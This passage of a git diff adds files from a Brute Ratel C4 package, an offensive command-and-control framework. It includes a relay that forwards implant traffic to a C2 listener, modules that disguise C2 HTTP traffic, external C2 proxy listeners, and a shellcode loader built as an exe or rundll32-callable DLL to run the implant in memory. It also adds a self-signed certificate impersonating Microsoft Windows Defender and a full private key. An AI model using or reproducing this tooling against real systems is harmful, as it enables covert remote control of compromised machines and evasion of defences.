(self.headers["User-Agent"] == BRC4_USERAGENT): + try: + global DEBUG_LOGS + postRequest = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')) + if DEBUG_LOGS: + datalen = len(postRequest) + logging.info(f"Received from badger: {datalen} bytes (START)") + postRequest = ModifyPostRequest(postRequest) + headers = { + "Content-Type": "application/json", + "User-Agent": BRC4_USERAGENT, + } + if DEBUG_LOGS: + datalen = len(postRequest) + logging.info(f"Sent to BRc4 server: {datalen} bytes") + response = requests.post(BRC4_LISTENER_URL, postRequest, headers=headers, verify=False) + if DEBUG_LOGS: + datalen = len(response.text) + logging.info(f"Received from BRc4 server: {datalen} bytes") + postResponse = ModifyPostResponse(response.text) + if DEBUG_LOGS: + datalen = len(postResponse) + logging.info(f"Sent to badger: {datalen} bytes (END)") + self._set_headers() + self.wfile.write(postResponse.encode("utf-8")) + except Exception as ex: + logging.info("[-] Exception: ", ex) + + def log_message(self, format, *args): + return + +def main(): + parser = argparse.ArgumentParser(description='BRc4 HTTP Mutating Server Example 0.1') + parser.add_argument('-c', '--cert', type=str, required=True, help="certificate file") + parser.add_argument('-k', '--key', type=str, required=True, help="certificate key") + parser.add_argument('-f', '--forward', type=str, required=True, help="BRc4 server to forward. Eg.: '172.16.219.1:10443'") + parser.add_argument('-l', '--listener', type=str, required=True, help="Listener host and port. Eg.: '172.16.219.1:443'") + parser.add_argument('-u', '--url', type=str, required=True, help="BRc4 URL to forward") + parser.add_argument('-d', '--debug', action='store_true', required=False, help="Enable debug logs") + args = parser.parse_args() + + listenerHost = args.listener.split(":")[0] + listenerPort = args.listener.split(":")[1] + if not args.url.startswith("/"): + args.url = "/" + args.url + global BRC4_LISTENER_URL + global DEBUG_LOGS + BRC4_LISTENER_URL = "https://" + args.forward + args.url + logging.info(f"External C2 Server: '{args.listener}' => '{BRC4_LISTENER_URL}'") + logging.info(f"Useragent: '{BRC4_USERAGENT}'") + if args.debug: + logging.info(f"Debug logs enabled") + DEBUG_LOGS = True + server = HTTPServer((listenerHost, int(listenerPort)), Stager) + server.socket = ssl.wrap_socket(server.socket, certfile=args.cert, keyfile=args.key, server_side=True) + thread = threading.Thread(None, server.serve_forever) + thread.daemon = True + thread.start() + thread.join() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/modify_http.c b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/modify_http.c new file mode 100644 index 0000000..4e0eb01 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/modify_http.c @@ -0,0 +1,79 @@ +#include +#include +#include "badger_exports.h" + +// compile with: +// x86_64-w64-mingw32-gcc modify_http.c -c -o modify_http.o + +char* RemoveDelimiter(char* src_buffer) { + int i, j = 0; + size_t len = BadgerStrlen(src_buffer); + char* dst_buffer = (char*)BadgerAlloc(len + 1); // +1 for the null terminator + if (! dst_buffer) { + return NULL; // Allocation failed + } + BadgerMemcpy(dst_buffer, src_buffer, len); + for (i = 0; i < len; i++) { + // If the current character is not '$', copy it to the new position + if (dst_buffer[i] != '$') { + dst_buffer[j++] = dst_buffer[i]; + } + } + // Null-terminate the modified string + dst_buffer[j] = '\0'; + return dst_buffer; +} + +char* DelimitBuffer(char* src_buffer, size_t part_size) { + size_t size = BadgerStrlen(src_buffer); + if (size == 0 || part_size == 0 || part_size > size) { + return NULL; + } + // Calculate the number of parts + size_t num_parts = (size + part_size - 1) / part_size; // ceil(size / part_size) + size_t new_size = size + (num_parts - 1); // Additional space for delimiters + + // Allocate memory for the new string + char* dst_buffer = (char*)BadgerAlloc(new_size + 1); // +1 for the null terminator + if (! dst_buffer) { + return NULL; // Allocation failed + } + size_t new_index = 0; + // Split the src_buffer and add delimiters + for (size_t i = 0; i < size; i += part_size) { + // Copy the part + size_t current_part_size = (i + part_size <= size) ? part_size : (size - i); + BadgerMemcpy(&dst_buffer[new_index], &src_buffer[i], current_part_size); + new_index += current_part_size; + // Add delimiter if not the last part + if (i + part_size < size) { + dst_buffer[new_index++] = '$'; + } + } + + // Null terminate the new string + dst_buffer[new_index] = '\0'; + return dst_buffer; +} + + +void coffee(char** argv, int argc, WCHAR** dispatch) { + // argc will be 2 + // argv[0] : if string "0", its request; if string "1", its response + // argv[1] : contains request or response buffer depending on argv[0] + + CHAR *src_buffer = argv[1]; + CHAR *dst_buffer = NULL; + + if (BadgerStrcmp(argv[0], "0") == 0) { + size_t part_size = 5; + dst_buffer = DelimitBuffer(src_buffer, part_size); + } else if (BadgerStrcmp(argv[0], "1") == 0) { + dst_buffer = RemoveDelimiter(src_buffer); + } + + if (dst_buffer) { + BadgerSetHTTPBuffer((PVOID)dst_buffer); + BadgerFree((PVOID*)&dst_buffer); + } +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/modify_http.cs b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/modify_http.cs new file mode 100644 index 0000000..20cc9a9 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/modify_http.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Runtime.InteropServices; + +public class HttpBufferManager { + // Define a delegate that matches the function signature + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate void BadgerSetHTTPBufferDelegate(string argument); + + public static void ExecutePointer(string argument, string addressString) { + if (string.IsNullOrEmpty(addressString) || string.IsNullOrEmpty(argument)) { + return; + } + // Convert the string representation of the address to an IntPtr + IntPtr address = (IntPtr)Convert.ToInt64(addressString, 16); + // Convert the IntPtr to a delegate + BadgerSetHTTPBufferDelegate BadgerSetHTTPBuffer = (BadgerSetHTTPBufferDelegate)Marshal.GetDelegateForFunctionPointer(address, typeof(BadgerSetHTTPBufferDelegate)); + // Invoke the function via the delegate + BadgerSetHTTPBuffer(argument); + } + + public static string RemoveDelimiter(string srcBuffer) { + if (string.IsNullOrEmpty(srcBuffer)) { + return null; + } + int length = srcBuffer.Length; + // Allocate a buffer to store the modified string + char[] dst_buffer = new char[length]; + int j = 0; + for (int i = 0; i < length; i++) { + // If the current character is not '$', copy it to the new position + if (srcBuffer[i] != '$') { + dst_buffer[j++] = srcBuffer[i]; + } + } + // Create a new string from the modified character array and return it + return new string(dst_buffer, 0, j); + } + + public static string DelimitBuffer(string src_buffer, int part_size) { + if (string.IsNullOrEmpty(src_buffer) || part_size <= 0) { + return null; + } + // Calculate the number of full parts + int fullPartsCount = src_buffer.Length / part_size; + int remainder = src_buffer.Length % part_size; + // Create an array to hold the parts + string[] parts = new string[fullPartsCount + (remainder > 0 ? 1 : 0)]; + // Split the src_buffer into parts + for (int i = 0; i < fullPartsCount; i++) { + parts[i] = src_buffer.Substring(i * part_size, part_size); + } + // Add the remaining part if any + if (remainder > 0) { + parts[fullPartsCount] = src_buffer.Substring(fullPartsCount * part_size); + } + // Join the parts with the delimiter "$" + return string.Join("$", parts); + } + +} + +namespace ModifyHttp { + class Program { + static void Main(string[] args) { + // argc will be 3 + // argv[0] : if string "0", its request; if string "1", its response + // argv[1] : contains request or response buffer depending on argv[0] + // argv[2] : contains pointer for BadgerSetHTTPBuffer (similar to COFF) + + string src_buffer = args[1]; + string dst_buffer = ""; + + if (args[0] == "0") { + int part_size = 5; + dst_buffer = HttpBufferManager.DelimitBuffer(src_buffer, part_size); + } else if (args[0] == "1") { + dst_buffer = HttpBufferManager.RemoveDelimiter(src_buffer); + } + + if (dst_buffer != "") { + HttpBufferManager.ExecutePointer(dst_buffer, args[2]); + } + } + } +} diff --git a/BruteRatel-v2.1.2/adhoc_scripts/openssl_server.sh b/BruteRatel-v2.1.2/adhoc_scripts/openssl_server.sh new file mode 100644 index 0000000..4ca9234 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/openssl_server.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +# listen on 443 using ssl keys (ssl test) +openssl s_server -key key.pem -cert cert.pem -accept 443 diff --git a/BruteRatel-v2.1.2/adhoc_scripts/proxylistener.py b/BruteRatel-v2.1.2/adhoc_scripts/proxylistener.py new file mode 100644 index 0000000..7f8c958 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/proxylistener.py @@ -0,0 +1,78 @@ +#!/usr/bin/python3 + +import threading +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +import ssl +import sys +import requests +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +LHOST = "0.0.0.0" +LPORT = 443 + +listener_bucket = { + "managedservices.azureedge.net": "8000", + "Amazon CloudFront": "9000", +} + +class Stager(BaseHTTPRequestHandler): + def _set_headers(self): + self.send_response(200) + self.send_header("Content-type", "text/html") + self.end_headers() + + def _html(self, message): + content = f"{message}" + return content.encode("utf8") + + def do_GET(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] GET request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_HEAD(self): + self._set_headers() + self.wfile.write(self._html("404 Not Found")) + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print("[" + currtime + "] HEAD request from " + self.address_string()) + for x, y in self.headers.items(): + print(" - ", x, ": ", y ) + print("------------------------------------------------------------") + + def do_POST(self): + headerValue = "" + if 'X-Host' in self.headers: + headerValue = self.headers['X-Host'] + elif 'User-Agent' in self.headers: + headerValue = self.headers['User-Agent'] + if headerValue in listener_bucket: + print("Host Header [", headerValue, "] => routing to ", listener_bucket[headerValue]) + postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')) + response = requests.post('https://localhost:' + listener_bucket[headerValue] + '/request', postData, self.headers, verify=False) + self._set_headers() + self.wfile.write(response.text) + + def log_message(self, format, *args): + return + +def main(): + if (len(sys.argv) < 3): + print("Usage:", sys.argv[0], " ") + return + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}") + server = HTTPServer((LHOST, LPORT), Stager) + server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True) + thread = threading.Thread(None, server.serve_forever) + thread.daemon = True + thread.start() + thread.join() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/Makefile b/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/Makefile new file mode 100644 index 0000000..46cb310 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/Makefile @@ -0,0 +1,12 @@ +all: + make exe + make dll + +exe: + x86_64-w64-mingw32-gcc shellcode.c -o shellcode.exe -lntdll -s + +dll: + x86_64-w64-mingw32-gcc shellcode.c -o shellcode.dll -lntdll -s -DBUILD_DLL -shared + +clean: + rm -rf *.exe *.dll *.bin \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/shellcode.c b/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/shellcode.c new file mode 100644 index 0000000..6b42e2b --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/shellcode.c @@ -0,0 +1,88 @@ +// NOTE: DO NOT USE THIS TEMPLATE IN ACTIVE ENGAGEMENTS +// THIS IS ONLY SUPPOSED TO BE USED FOR TRIAL AND TESTING +// SIMILAR TECHNIQUES CAN BE USED INSIDE SIDELOADED DLLS +// OR C-SHARP CODE IN HTA/JSCRIPT/MACROS IN ENGAGEMENTS + +// Don't call VirtualFree/NtFreeVirtualMemory or NtUnmapViewOfSection to unmap a memory region +// The allocated memory for badger's shellcode does not require cleaning up. Badger is nice. It does that for you :) +// however if you execute the staging payload, you will have to cleanup after it + +#include +#include +#include +#include "shellcode.h" + +// when compiled as an exe, void main acts as the entrypoint +// when compiled as a dll, void main is exported, and the exported function can be called with: 'rundll32.exe shellcode.dll,main' +#ifdef BUILDDLL +__declspec(dllexport) void main(); +#endif + +extern NTSTATUS NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle); +extern NTSTATUS NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect); +extern NTSTATUS NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress); + +extern NTSTATUS NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +extern NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); + +void valloc_badger() { + DWORD dwOldProtect = 0; + LPVOID addressPointer = VirtualAlloc(NULL, badger_bin_len, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); + memcpy(addressPointer, badger_bin, badger_bin_len); + VirtualProtect(addressPointer, badger_bin_len, PAGE_EXECUTE_READ, &dwOldProtect); + ((void(*)())addressPointer)(); +}; + +void ntalloc_badger() { + ULONG ulOldProtect = 0; + LPVOID addressPointer = NULL; + SIZE_T shellcodeSize = (SIZE_T) badger_bin_len; + NtAllocateVirtualMemory((HANDLE)-1, &addressPointer, 0, &shellcodeSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); + memcpy(addressPointer, badger_bin, badger_bin_len); + NtProtectVirtualMemory((HANDLE)-1, &addressPointer, &shellcodeSize, PAGE_EXECUTE_READ, &ulOldProtect); + ((void(*)())addressPointer)(); +}; + +void ntmapview_badger() { + HANDLE hMainShellcodeSection = NULL; + LPVOID hlocalSection = NULL; + LARGE_INTEGER mainSectionSize = { badger_bin_len }; + SIZE_T localMapViewSize = 0; + + NtCreateSection(&hMainShellcodeSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &mainSectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, (HANDLE)NULL); + localMapViewSize = (SIZE_T) mainSectionSize.QuadPart; + NtMapViewOfSection(hMainShellcodeSection, (HANDLE)-1, &hlocalSection, 0, 0, 0, &localMapViewSize, 2, 0, PAGE_READWRITE); + memcpy(hlocalSection, badger_bin, badger_bin_len); + NtUnmapViewOfSection((HANDLE)-1, hlocalSection); + hlocalSection = NULL; + localMapViewSize = (SIZE_T) mainSectionSize.QuadPart; + NtMapViewOfSection(hMainShellcodeSection, (HANDLE)-1, &hlocalSection, 0, 0, 0, &localMapViewSize, 2, 0, PAGE_EXECUTE_READ); + ((void(*)())hlocalSection)(); +}; + +void main() { + // Only enable one function at a time here + valloc_badger(); + // ntalloc_badger(); + // ntmapview_badger(); + + // the executed shellcode returns after creating a new thread with a spoofed thread entrypoint + // Since the thread entrypoint returns, it's recommended not to wait on the thread's handle + // Rather wait on the current process's handle so that the process does not exit + // If thread wait is required, use the 'wait' shellcode instead of the 'ret' one when generating shellcode from the badger + WaitForSingleObject((HANDLE)-1, -1); +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_PROCESS_ATTACH: { + break; + } + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/shellcode.h b/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/shellcode.h new file mode 100644 index 0000000..00579ec --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/shellcode_loader_samples/shellcode.h @@ -0,0 +1,11 @@ +#include + +// add your shellcode here +// bin files can be converted to shellcode using the following command on kali or ubuntu: +// xxd -i badger.bin +// copy the output for the above command in this file +unsigned char badger_bin[] = { +}; + +// copy your shellcode length here +unsigned int badger_bin_len = 0; \ No newline at end of file diff --git a/BruteRatel-v2.1.2/adhoc_scripts/socket_print.py b/BruteRatel-v2.1.2/adhoc_scripts/socket_print.py new file mode 100644 index 0000000..efcce63 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/socket_print.py @@ -0,0 +1,39 @@ +import socket +import threading + +# Define the host and port to listen on +HOST = '0.0.0.0' # Listen on all available interfaces +PORT = 443 # Port to listen on + +def handle_client(client_socket, client_address): + print(f"Accepted connection from {client_address}") + with client_socket: + while True: + data = client_socket.recv(1024) + if not data: + # No more data from the client + break + # Print the received data + print(f"Received from {client_address}: {data.decode('utf-8')}") + +def main(): + # Create a TCP/IP socket + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: + # Allow the socket to be reused + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + # Bind the socket to the host and port + server_socket.bind((HOST, PORT)) + # Listen for incoming connections + server_socket.listen() + print(f"Listening on {HOST}:{PORT}") + + while True: + # Accept a new connection + client_socket, client_address = server_socket.accept() + # Handle the new connection in a new thread + client_thread = threading.Thread(target=handle_client, args=(client_socket, client_address)) + client_thread.daemon = True # Allow the thread to be killed when the main program exits + client_thread.start() + +if __name__ == "__main__": + main() diff --git a/BruteRatel-v2.1.2/adhoc_scripts/webhook_listener.py b/BruteRatel-v2.1.2/adhoc_scripts/webhook_listener.py new file mode 100644 index 0000000..e1e0279 --- /dev/null +++ b/BruteRatel-v2.1.2/adhoc_scripts/webhook_listener.py @@ -0,0 +1,48 @@ +#!/usr/bin/python3 + +import threading +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +import ssl +import sys +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +LHOST = "0.0.0.0" +LPORT = 8081 + +class Stager(BaseHTTPRequestHandler): + def _set_headers(self): + self.send_response(200) + self.send_header("Content-type", "text/html") + self.end_headers() + + def _html(self, message): + return "404 Not Found" + + def do_GET(self): + return "404 Not Found" + + def do_POST(self): + postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')) + print("[+] Data Received:", postData) + return "200 OK" + + def log_message(self, format, *args): + return + +def main(): + if (len(sys.argv) < 3): + print("Usage:", sys.argv[0], " ") + return + currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") + print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}") + server = HTTPServer((LHOST, LPORT), Stager) + server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True) + thread = threading.Thread(None, server.serve_forever) + thread.daemon = True + thread.start() + thread.join() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/BruteRatel-v2.1.2/api-ratel-war-room.pdf b/BruteRatel-v2.1.2/api-ratel-war-room.pdf new file mode 100644 index 0000000..e8ddf2b Binary files /dev/null and b/BruteRatel-v2.1.2/api-ratel-war-room.pdf differ diff --git a/BruteRatel-v2.1.2/brute-ratel-armx64 b/BruteRatel-v2.1.2/brute-ratel-armx64 new file mode 100644 index 0000000..507c085 Binary files /dev/null and b/BruteRatel-v2.1.2/brute-ratel-armx64 differ diff --git a/BruteRatel-v2.1.2/brute-ratel-linx64 b/BruteRatel-v2.1.2/brute-ratel-linx64 new file mode 100644 index 0000000..a68da36 Binary files /dev/null and b/BruteRatel-v2.1.2/brute-ratel-linx64 differ diff --git a/BruteRatel-v2.1.2/cert.pem b/BruteRatel-v2.1.2/cert.pem new file mode 100644 index 0000000..cad6f18 --- /dev/null +++ b/BruteRatel-v2.1.2/cert.pem @@ -0,0 +1,22 @@ +-----BEGIN CERTIFICATE----- +MIIDtTCCAp2gAwIBAgIUCcOKFuMo4QONRKjKt1t/dmyJvn4wDQYJKoZIhvcNAQEL +BQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAldBMQswCQYDVQQHDAJWQTESMBAG +A1UECgwJTWljcm9zb2Z0MRkwFwYDVQQLDBBXaW5kb3dzIERlZmVuZGVyMRIwEAYD +VQQDDAlMT0NBTEhPU1QwHhcNMjYwMjA1MDUyNTM4WhcNMzYwMjAzMDUyNTM4WjBq +MQswCQYDVQQGEwJVUzELMAkGA1UECAwCV0ExCzAJBgNVBAcMAlZBMRIwEAYDVQQK +DAlNaWNyb3NvZnQxGTAXBgNVBAsMEFdpbmRvd3MgRGVmZW5kZXIxEjAQBgNVBAMM +CUxPQ0FMSE9TVDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMhTQGP6 +TTx4aQeSa0CYiLI7SxIkmsTUpYC7H/5DdnAJfvGnR2SjHt8bxU5L6T1GfwiMangd +XCC6e4bXcO3ldjrpA+8z/AXy4oUxjasAN9FRPFIN0Q/6/il1hoePjadEQJ5tKm0Q +ZtP1GmITsI+wAeE2d8OZdn3/7kM+v/2wSYouRGJzJfHGVLelimkfyxWeyokMU/aT +ZIxsAJD5e0ub2TA//J7qvODW85VWqRLNSvq1RZes+sD+mvy57V2IsOjPyDXCdAyM +hv4Z2NpAGd6IAjWg9CgnDulcNOVG9yzb+JtNCGoHqBoqDIOVM0/P5ny5E4jVVtMm ++387kbPbc2+uNWsCAwEAAaNTMFEwHQYDVR0OBBYEFKBffuxqbTIJHPRG+wIvPCUA +rEFFMB8GA1UdIwQYMBaAFKBffuxqbTIJHPRG+wIvPCUArEFFMA8GA1UdEwEB/wQF +MAMBAf8wDQYJKoZIhvcNAQELBQADggEBAIk/6556oab4L9ZR856GMemzNk4vk6xQ +RkPYax0aDzaJ8WLFwiNkJ0s6ltjCPbM+rUYt5t3UmZtOij28kh6xDqkWHGhJqoQh ++IjXjddvQtlUi6dh16UGk5N5CUUepzdgUbOznlrE2d13hzvMhwJI8AMS7idP5VRx +sGLOWDPEpPxxmfahWLKaK8rBgDYXVGcAHwOyfvvDacaWfCFtM0qgCBbyp8VDkwvc +7o1D7LAGXmFBlGNp0iWMfB3+oZ/s/S46WiBeG3UApDyK9x5lnDR57RQzwdA771Pv +E+Z68zo52qX+lqrspky7Pk4xRDoIbrUkMCKbZm+K5cfqYooI/qJvUrc= +-----END CERTIFICATE----- diff --git a/BruteRatel-v2.1.2/cleanUp.sh b/BruteRatel-v2.1.2/cleanUp.sh new file mode 100644 index 0000000..48c35b8 --- /dev/null +++ b/BruteRatel-v2.1.2/cleanUp.sh @@ -0,0 +1,5 @@ +rm -rf logs +rm -rf hosted +rm -rf downloads +rm -rf uploads +rm -rf autosave.profile diff --git a/BruteRatel-v2.1.2/commander-linux.sh b/BruteRatel-v2.1.2/commander-linux.sh new file mode 100644 index 0000000..a64ce9c --- /dev/null +++ b/BruteRatel-v2.1.2/commander-linux.sh @@ -0,0 +1,15 @@ +#!/bin/bash + +userId=`id -u` +if [[ $userId = "0" ]]; then + echo "[!!!] ERROR: Commander should not be run as ROOT" +else + export LD_LIBRARY_PATH=lib64-linux/lib/ + if [ -z "$1" ]; then + echo "[+] Running Commander. No stylesheets provided" + ./lib64-linux/commander + else + echo "[+] Using $1 as stylesheet" + ./lib64-linux/commander $1 + fi; +fi; diff --git a/BruteRatel-v2.1.2/commander-mac.sh b/BruteRatel-v2.1.2/commander-mac.sh new file mode 100644 index 0000000..86baabc --- /dev/null +++ b/BruteRatel-v2.1.2/commander-mac.sh @@ -0,0 +1,15 @@ +#!/bin/bash + +userId=`id -u` +if [[ $userId = "0" ]]; then + echo "[!!!] ERROR: Commander should not be run as ROOT" +else + export DYLD_FRAMEWORK_PATH=./lib64-mac/lib/ + if [ -z "$1" ]; then + echo "[+] Running Commander. No stylesheets provided" + ./lib64-mac/commander + else + echo "[+] Using $1 as stylesheet" + ./lib64-mac/commander $1 + fi; +fi; diff --git a/BruteRatel-v2.1.2/commander-windows.bat b/BruteRatel-v2.1.2/commander-windows.bat new file mode 100644 index 0000000..92d7ff1 --- /dev/null +++ b/BruteRatel-v2.1.2/commander-windows.bat @@ -0,0 +1,2 @@ +set PATH=%PATH%;%cd%\lib64-windows\lib\bin +lib64-windows\commander.exe diff --git a/BruteRatel-v2.1.2/key.pem b/BruteRatel-v2.1.2/key.pem new file mode 100644 index 0000000..3292ba5 --- /dev/null +++ b/BruteRatel-v2.1.2/key.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDIU0Bj+k08eGkH +kmtAmIiyO0sSJJrE1KWAux/+Q3ZwCX7xp0dkox7fG8VOS+k9Rn8IjGp4HVwgunuG +13Dt5XY66QPvM/wF8uKFMY2rADfRUTxSDdEP+v4pdYaHj42nRECebSptEGbT9Rpi +E7CPsAHhNnfDmXZ9/+5DPr/9sEmKLkRicyXxxlS3pYppH8sVnsqJDFP2k2SMbACQ ++XtLm9kwP/ye6rzg1vOVVqkSzUr6tUWXrPrA/pr8ue1diLDoz8g1wnQMjIb+Gdja +QBneiAI1oPQoJw7pXDTlRvcs2/ibTQhqB6gaKgyDlTNPz+Z8uROI1VbTJvt/O5Gz +23NvrjVrAgMBAAECggEAOC9JVwEj2nr3Ej2ZwTNG255PrtX/ZocxqApTrc+kD0ZK +iWJeXrZ1eSPj0dLuptX32SDw16F8bl1/OdGBBegeoeUqylMtM0ntCGhekIBuJ1H+ +dhET+sRttpkU0z6K/0fgS87YYGCCRp5u+OUG1zYJQO4y5vRKzIoUfF3EIVXpOkzC +rPDOnqvvaAys6A30R1glznAMARYsDVP/ajD/NEVjIaonOVKrDHJSnmjAtswBWjT2 +xNC4OlXG9pM7jI/eEwqonU/CFMiSExdayzYrCC5+ThTwMWCqIRn4nLPKJ7PXbsju +15iLG1iU2/ufG/6mtst6Wfii3/keIRdkhFd/guleOQKBgQDlW8hPVhQjSBImiuLH +2CzR7BjWUzIXV+h19TLApeJC7efyDDcR17ww/qY0kIXWR264miHNeL8sqVE4IQAc +uboJzYjylAUuArKawji/g3z90l3QA+iRozJahxT0w/jpNdc284L/Z3nbqcpC2byB +xhpLGJ5PoC4tLJ0bGcBApURmtQKBgQDfmCHwFrWTjgUbr6ALwmsWwgAIgbcNAbS1 +debhyyrlFnDR2pxSEMmMYwb8B23hKgQzaYtGFhEzoXgxiqWJ/YVc6mKZoJpOBp9w ++g60B4pyQND8+SeV6jom7npWJgHr4vgWLGs+3XMk4RWBZTaFvjVAuScuTIA/rNVm +BKMMbcifnwKBgFYUADVmROCI5+b3MO13wDp4tUmap64DHAdJIucSWrxrtSUuWGyl +3sc0iwQnSVOGM5OspQsMShNk6Ep8eCJPwfZz4PXJf7go4wcZ5Vpa6soH7ZVoIhym +dvtqvv6tnflIb6D7+yoHl8BNFM/KD+lUhAGzF5cisrHZkIzfOTwJyoYRAoGBAI9+ +Z9FYEaGnlDmnZVQGqolJaZIMBTjwrlOCXfDsXRP2aeMTpBy6r05MQzA9aFQHjfic +tIf/I3z6FFPfAcvkCtGNjke/nSeT8oEjyYnaCQy38idXkwMP9dAEXjipXbRPzh0U +1qLapcm2NgH7vZjpb+2gpbd92xSCS9WUBju0vPtLAoGAJDzwwd31vxtScnhYZnfa +HnDlNJYbxxUyDNFJMOy79pNNeq3UAl+Wp2kWJzkMb5wxq8r7BcToOG1RKH2LxUy4 +Sk9N3zoKtkHCj9S/97xduVG8BR6610GwlmSNTOAfjZ6COzZ3UkIGMYnCx9SlHnbb +Fh/6HiE6y9mJ36fNrdKh+Po= +-----END PRIVATE KEY----- diff --git a/BruteRatel-v2.1.2/krb5decoder b/BruteRatel-v2.1.2/krb5decoder new file mode 100644 index 0000000..de2938e Binary files /dev/null and b/BruteRatel-v2.1.2/krb5decoder differ diff --git a/BruteRatel-v2.1.2/lib64-linux/GNU LGPL QT5 LICENSE.txt b/BruteRatel-v2.1.2/lib64-linux/GNU LGPL QT5 LICENSE.txt new file mode 100644 index 0000000..9609bdc --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-linux/GNU LGPL QT5 LICENSE.txt @@ -0,0 +1,164 @@ +GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + 